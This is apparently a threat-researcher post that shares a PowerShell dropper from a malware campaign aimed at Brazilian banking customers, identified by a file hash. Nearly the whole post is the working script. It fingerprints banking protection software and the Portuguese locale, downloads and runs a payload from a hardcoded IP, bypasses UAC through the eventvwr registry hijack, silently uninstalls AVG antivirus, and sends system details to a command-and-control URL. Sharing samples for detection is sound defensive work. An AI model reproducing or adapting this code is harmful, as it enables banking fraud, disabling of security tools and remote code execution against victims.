[@JohnLaTwC] A Brazil targeted threat using PowerShell

//posted by @JohnLaTwC
//e32aeab71e0329f3b49c12f10f76cf6f93e62e63fb46361fad8bbe604d77b0e0
//WSCRIPT.EXE Creates:
-->
if(-not (Test-Path "$env:APPDATA\Microsoft\Windows\Templates\temp")){
    "" >> "$env:APPDATA\Microsoft\Windows\Templates\temp"
    $dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[0];
    $gbPath = Join-Path $dir "GbPlugin";
    $paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751";(Join-Path $gbPath gbieh.dll) = "001";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env:ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer) = "Trust";(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
    foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.Value) + ","}};
    if($v1 -and (Get-Culture).Name -eq "pt-Br") {
    $url = "http://104.154.84.149/arv/CO095D8F375489C400.cab";
    $output = "$env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndaW.cab";
    (New-Object System.Net.WebClient).DownloadFile($url, $output);
    Start-Process rundll32 $env:APPDATA\Microsoft\Windows\Templates\q73WotveoeyZnZu7odLdndaW.cab,C5CBDDF23;
    $avs = (Get-WmiObject -Namespace "root\SecurityCenter2" -QUERY "SELECT DisplayName FROM AntiVirusProduct");
    foreach ($av1 in $avs) { $av += $av1.displayName + ","};
    if($av -like "*avg*"){
        $path = "HKCU:\Software\Classes\mscfile\shell\open\command";
        if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq $null){
        New-Item $path -Force |  New-ItemProperty -Name "(Default)" -Value $command -PropertyType string -Force | Out-Null }
        else{exit};
        $eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "eventvwr.exe";
        Start-Process -FilePath $eventvwrPath;
        Start-Sleep -Seconds 5;
        $mscfilePath = "HKCU:\Software\Classes\mscfile";
        if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};
        $uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
        $uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;

        foreach($uninstall64 in $uninstall64s) {
        $uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
        $uninstall64 = $uninstall64.Trim();
        if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64  /qn /norestart" -Wait }};
        foreach($uninstall32 in $uninstall32s) {
        $uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
        $uninstall32 = $uninstall32.Trim();
        if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32  /qn /norestart" -Wait }};
    };
    $tudo = (Get-WmiObject -Namespace "root\CIMV2" -QUERY "SELECT * FROM Win32_OperatingSystem");
    $w = [System.Net.WebRequest]::Create("http://93.188.161.69/naturaizando/OSTIU/LetsGo.php" + "?A=A&Sytem=" + $tudo.CSName + "::" + $tudo.Caption + ".:" + $tudo.CSDVersion +"("+$tudo.OsArchitecture+")"+ "&qual=" + $V1 + "&ele=" + $av).getResponse();
    }
}